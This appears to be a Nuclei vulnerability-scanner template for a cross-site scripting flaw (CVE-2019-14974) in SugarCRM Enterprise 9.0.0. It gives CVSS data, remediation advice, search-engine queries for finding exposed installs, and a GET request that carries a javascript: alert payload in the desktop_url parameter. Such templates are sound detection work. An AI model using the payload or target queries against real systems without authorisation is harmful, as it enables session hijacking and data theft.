id: CVE-2019-14974

info:
  name: SugarCRM Enterprise 9.0.0 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: SugarCRM Enterprise 9.0.0 contains a cross-site scripting vulnerability via mobile/error-not-supported-platform.html?desktop_url.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of SugarCRM Enterprise.
  reference:
    - https://www.exploit-db.com/exploits/47247
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14974
    - https://github.com/anonymous364872/Rapier_Tool
    - https://github.com/merlinepedra/nuclei-templates
    - https://github.com/merlinepedra25/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-14974
    cwe-id: CWE-79
    epss-score: 0.31043
    epss-percentile: 0.9808
    cpe: cpe:2.3:a:sugarcrm:sugarcrm:9.0.0:*:*:*:enterprise:*:*:*
  metadata:
    max-request: 1
    vendor: sugarcrm
    product: sugarcrm
    shodan-query:
      - http.html:"sugarcrm inc. all rights reserved"
      - http.title:sugarcrm
    fofa-query:
      - body="sugarcrm inc. all rights reserved"
      - title=sugarcrm
    google-query:
      - intitle:sugarcrm
      - intext:"sugarcrm inc. all rights reserved"
  tags: cve,cve2019,xss,sugarcrm,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/mobile/error-not-supported-platform.html?desktop_url=javascript:alert(1337);//itms://"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "url = window.location.search.split(\"?desktop_url=\")[1]"

      - type: status
        status:
          - 200
# digest: 490a0046304402205e899c3b059002d4499b6e0dcdb2c9f58cf4d3373f1303cc9f55c8b18b35b08a022078201bf86fb63a0aeed2cc8b0a0ddcc331edecd76fcb3cb505f02792cbbd61c4:922c64590222798bb761d5b6d8e72950